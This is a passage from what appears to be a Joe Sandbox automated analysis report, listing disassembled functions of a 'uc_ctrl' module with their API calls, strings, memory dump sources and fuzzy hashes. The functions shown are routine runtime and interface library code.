                                                                                              • Opcode Fuzzy Hash: aacfe3f32b45c998e6e78d8b7bd6d5dd9d70c92bfc1a53e4d3d8639203bc6691
                                                                                              • Instruction Fuzzy Hash: 21318676E00219EBCF11DF94D881ADDBBB1BF08318F254119E818BB340E775AE06CB90
                                                                                              Function 6CEFABC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEFABC7
                                                                                              • _Strftime.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,?,?,00000010,00000000), ref: 6CEFAC3F
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_Strftime
                                                                                              • String ID: !%x
                                                                                              • API String ID: 2838425630-1893981228
                                                                                              • Opcode ID: cb1199d8220052dd249294979d29d71f798ee3b8bffdd35d4ed0d63a965eca68
                                                                                              • Instruction ID: 51decaa94ce125de36adbe7ed744eafc4c564a978ae4e0ca8b1f4e931405058e
                                                                                              • Opcode Fuzzy Hash: cb1199d8220052dd249294979d29d71f798ee3b8bffdd35d4ed0d63a965eca68
                                                                                              • Instruction Fuzzy Hash: B8319A71D05258AFCF11CF94D890BEDBBB0BF49704F244059E9A56B342D7749906CBA0
                                                                                              Function 6CFBF4A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSysColor.USER32(00000014), ref: 6CFBF516
                                                                                              • CreateDIBitmap.GDI32(?,00000028,00000004,?,00000028,00000000), ref: 6CFBF566
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: BitmapColorCreate
                                                                                              • String ID: (
                                                                                              • API String ID: 2048008349-3887548279
                                                                                              • Opcode ID: 4e71b1116c8375a5f432710d96fd77c7ebc7c4b9f0cc4fcec12f83f2da154d71
                                                                                              • Instruction ID: 0b8098ca34dc66949e77e1814ed33aadcc198e2cc66bbabac6af8ba545fb2ed6
                                                                                              • Opcode Fuzzy Hash: 4e71b1116c8375a5f432710d96fd77c7ebc7c4b9f0cc4fcec12f83f2da154d71
                                                                                              • Instruction Fuzzy Hash: 9E21AF71A5125C9BEB14CBA89D41BEDBBF4EB19200F4080AEE945EB281DA345A08CB61
                                                                                              Function 6CEE6A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 6CEE6A5E
                                                                                              • GetLastError.KERNEL32 ref: 6CEE6A8D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesErrorFileLast
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1799206407-738913995
                                                                                              • Opcode ID: e695b6e28bbbfa283fd12a1d657d074f83771b931cd77e1067d5c186b37b3055
                                                                                              • Instruction ID: 1629b85c677be49a19f4fd037aa4360b1a678d5003cee952d8bf5462845811f0
                                                                                              • Opcode Fuzzy Hash: e695b6e28bbbfa283fd12a1d657d074f83771b931cd77e1067d5c186b37b3055
                                                                                              • Instruction Fuzzy Hash: FA01F931E9212C97CB10AE7488417ED33BCDB0E7DCF308515E529D7B80E728D4848B91
                                                                                              Function 6CEFDC10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEFDC17
                                                                                              • ?_Winerror_message@std@@YAKKPADK@Z.MSVCP140(?,?,00007FFF,?,?,?,00007FFF,00000000,00000020), ref: 6CEFDC47
                                                                                                • Part of subcall function 6CEFDD70: __EH_prolog3_GS.LIBCMT ref: 6CEFDD77
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_$Winerror_message@std@@
                                                                                              • String ID: unknown error
                                                                                              • API String ID: 1209844933-3078798498
                                                                                              • Opcode ID: 5bb796cc5f34d41f3bcaa39be7e8d05254d54f0793ad533aef78dd871e88d39d
                                                                                              • Instruction ID: 6ffc25b14938e7e9754c7499f4ee2d92449c312aa7f6b5cd356bf5f219f46e69
                                                                                              • Opcode Fuzzy Hash: 5bb796cc5f34d41f3bcaa39be7e8d05254d54f0793ad533aef78dd871e88d39d
                                                                                              • Instruction Fuzzy Hash: 8001B575A002099BDB10DF94C860AEEBBB8EF08758F64142DD005B7B40DB749A4DCBB1
                                                                                              Function 6CEF2950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF297F
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF2996
                                                                                                • Part of subcall function 6CEF7200: __EH_prolog3_GS.LIBCMT ref: 6CEF7207
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF7263
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF727D
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF72C0
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF72DC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@_V?$ostreambuf_iterator@_Vlocale@2@std::locale::~locale$H_prolog3_Iput@?$num_put@_V32@Vios_base@2@_W@std@@@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1945910981-738913995
                                                                                              • Opcode ID: d86668f040cc28f75f4c3a7260c1e92ccc4ee08fcc3f8041360376d677efc15e
                                                                                              • Instruction ID: 95b8f0fa7d0b88a7aa36085d13730447af15c4216646ce213209606cc2feaaf1
                                                                                              • Opcode Fuzzy Hash: d86668f040cc28f75f4c3a7260c1e92ccc4ee08fcc3f8041360376d677efc15e
                                                                                              • Instruction Fuzzy Hash: 6DF068B36142086BD710DF58CC41DEB77FCEB89654F104519FA1497640D731E92597F1
                                                                                              Function 6CEE84C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEE84EF
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE8506
                                                                                                • Part of subcall function 6CEE9720: __EH_prolog3_GS.LIBCMT ref: 6CEE9727
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEE850B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE9783
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE979D
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE97E1
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE97FD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$D@std@@@2@D@std@@@std@@@std@@H_prolog3_Iput@?$num_put@V32@Vios_base@2@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1261938456-738913995
                                                                                              • Opcode ID: e53cc808f238bc45fce13a4755988a33ee78373ee15bb2c12da042aced4da42f
                                                                                              • Instruction ID: 7846b3bdf38b4c4a49b47861b63143fa24435f931ce62269276bd5403ecb1e86
                                                                                              • Opcode Fuzzy Hash: e53cc808f238bc45fce13a4755988a33ee78373ee15bb2c12da042aced4da42f
                                                                                              • Instruction Fuzzy Hash: 2DF0AFB2614208ABCB10DE58DC81DEBB7ECEB89250F00452AFA1483240D731E9248BE2
                                                                                              Function 6CF8E190 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,-00000034,?,6CF8E2C8,00000000,6D183C18,00000010,6CF8F4F5,?,?,?,6D0F588C,?,00000001,0000000C,6CF8F54D), ref: 6CF8E1A4
                                                                                              • GetLastError.KERNEL32(?,-00000034,?,6CF8E2C8,00000000,6D183C18,00000010,6CF8F4F5,?,?,?,6D0F588C,?,00000001,0000000C,6CF8F54D), ref: 6CF8E1DB
                                                                                              Strings
                                                                                              • IsolationAware function called after IsolationAwareCleanup, xrefs: 6CF8E19F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: DebugErrorLastOutputString
                                                                                              • String ID: IsolationAware function called after IsolationAwareCleanup
                                                                                              • API String ID: 4132100945-2690750368
                                                                                              • Opcode ID: 62487c820808cbf0e84acb82edc53db8bcd200de96e4fc0a0d7a91c63f5f4af7
                                                                                              • Instruction ID: a87a25b35483def2309801b2fb0ceb94d58935fc13bf17b19220ec9d1c02ab97
                                                                                              • Opcode Fuzzy Hash: 62487c820808cbf0e84acb82edc53db8bcd200de96e4fc0a0d7a91c63f5f4af7
                                                                                              • Instruction Fuzzy Hash: 14F0B43AB07A31876B106AE5EC00B567AB9970BB587324522FD15C2D10D7A0C850CBD1
                                                                                              Function 6CF92393 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 6CF923B2
                                                                                              • GetClassNameW.USER32(?,?,0000000A), ref: 6CF923C7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClassLongNameWindow
                                                                                              • String ID: combobox
                                                                                              • API String ID: 1147815241-2240613097
                                                                                              • Opcode ID: 06b586c83476c2fcc849ae41bbe5614e59e59717b1fb9ea71a4b404e2b35962b
                                                                                              • Instruction ID: f58aa5a36c65b08d8a263c1d29488921b4f765cecd3954837e99e1c8b0e9dfa6
                                                                                              • Opcode Fuzzy Hash: 06b586c83476c2fcc849ae41bbe5614e59e59717b1fb9ea71a4b404e2b35962b
                                                                                              • Instruction Fuzzy Hash: 5AF0903291911DABAF05DF68DC49FAE77B8DB1A720B60421AED01E7180DB31AA058796
                                                                                              Function 6CEFA810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEFA824
                                                                                              • _CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEFA86F
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Ilog
                                                                                              • String ID: !%x
                                                                                              • API String ID: 3072751996-1893981228
                                                                                              • Opcode ID: 485414ca066fdcf6543e40b48fcc52e3e5db99167de1e0821028fbd3eb7dd439
                                                                                              • Instruction ID: cc72d3ab07058c8a6b4b02662e23b15dfd84b488199d56fa73d00c7d38322b9b
                                                                                              • Opcode Fuzzy Hash: 485414ca066fdcf6543e40b48fcc52e3e5db99167de1e0821028fbd3eb7dd439
                                                                                              • Instruction Fuzzy Hash: 39F0A4E2F1080DA3CB463F50E41B1887BB8EB057A1B310DC4D8D6E42A8FF22996596C5
                                                                                              Function 6CEE0A20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,Function_0003BB16,000000FF), ref: 6CEE0A59
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free_base
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 2963103676-738913995
                                                                                              • Opcode ID: 5ebce82a02b0f2efc6989d258d80f1ca0c429c189b28f2a6935027b5c478e36d
                                                                                              • Instruction ID: 84e7efc830642bbef80991fccd9492c5f3a45b9a6e9669e2cacc3a288858fa37
                                                                                              • Opcode Fuzzy Hash: 5ebce82a02b0f2efc6989d258d80f1ca0c429c189b28f2a6935027b5c478e36d
                                                                                              • Instruction Fuzzy Hash: 52F0A732B04554BFC715CB09D840FAAB7F9EB89A30F00456BF809C7780DB356C008AD0
                                                                                              Function 6CEE1990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Locimp_dtor@_Locimp@locale@std@@CAXPAV123@@Z.MSVCP140(?,337D7743,?,?,6CF0BB67,000000FF), ref: 6CEE19BC
                                                                                                • Part of subcall function 6CEEB570: __EH_prolog3.LIBCMT ref: 6CEEB577
                                                                                                • Part of subcall function 6CEEB570: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEE19C1,?,337D7743,?,?,6CF0BB67,000000FF), ref: 6CEEB580
                                                                                                • Part of subcall function 6CEEB570: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,337D7743,?,?,6CF0BB67,000000FF), ref: 6CEEB5D1
                                                                                                • Part of subcall function 6CEEB570: ??1_Lockit@std@@QAE@XZ.MSVCP140(337D7743,?,?,6CF0BB67,000000FF), ref: 6CEEB5DB
                                                                                              • free.API-MS-WIN-CRT-HEAP-L1-1-0(?,337D7743,?,?,6CF0BB67,000000FF), ref: 6CEE19CB
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$??1_H_prolog3Locimp@locale@std@@Locimp_dtor@_Lockit@std@@V123@@_lock_locales
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3751215562-738913995
                                                                                              • Opcode ID: 6cc4a123171d262836638c8488646cbf4c8db7e48e6e94578a307fcd083254b4
                                                                                              • Instruction ID: 5ac96a1a34abf542d6e11c0b59991eb1ab96c160ecc4dbe318b953ba6cda2fdc
                                                                                              • Opcode Fuzzy Hash: 6cc4a123171d262836638c8488646cbf4c8db7e48e6e94578a307fcd083254b4
                                                                                              • Instruction Fuzzy Hash: A0F0BE72914644EFD7308F05D802B96B7F8FB09728F204A2FE84182F90DB7A6844CBC4
                                                                                              Function 6CEFDA90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _unlock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(337D7743,00000000,6CF0BDA0,000000FF,?,6CEE1920,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?), ref: 6CEFDAB8
                                                                                              • LeaveCriticalSection.KERNEL32(?,337D7743,00000000,6CF0BDA0,000000FF,?,6CEE1920,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?), ref: 6CEFDACE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalLeaveSection_unlock_locales
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1117790594-738913995
                                                                                              • Opcode ID: 71ca296297a93539af9a38daa5fe323f603d33bcdb77865a5e07446c97d2c7cc
                                                                                              • Instruction ID: 43cb0a65d9ca3979a6e4494cd2f8144c55ed8b327ef08c9259ebb2411975d227
                                                                                              • Opcode Fuzzy Hash: 71ca296297a93539af9a38daa5fe323f603d33bcdb77865a5e07446c97d2c7cc
                                                                                              • Instruction Fuzzy Hash: D5F065B6E18944EBCB50CF58CC45B09FBB8E74AF14F14466AF819C3B40E73ADA0187A4
                                                                                              Function 6CEEBC80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6CF345A8,337D7743,?,?,?,6CF0BB16,000000FF), ref: 6CEEBCB0
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,6CF0BB16,000000FF), ref: 6CEEBCBF
                                                                                                • Part of subcall function 6CEFDA90: _unlock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(337D7743,00000000,6CF0BDA0,000000FF,?,6CEE1920,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?), ref: 6CEFDAB8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_CriticalEnterLockit@std@@Section_unlock_locales
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3886398507-738913995
                                                                                              • Opcode ID: bb7478414815a2a30b735e1abb70e7861f98c4c7ea08780faac7e89724301182
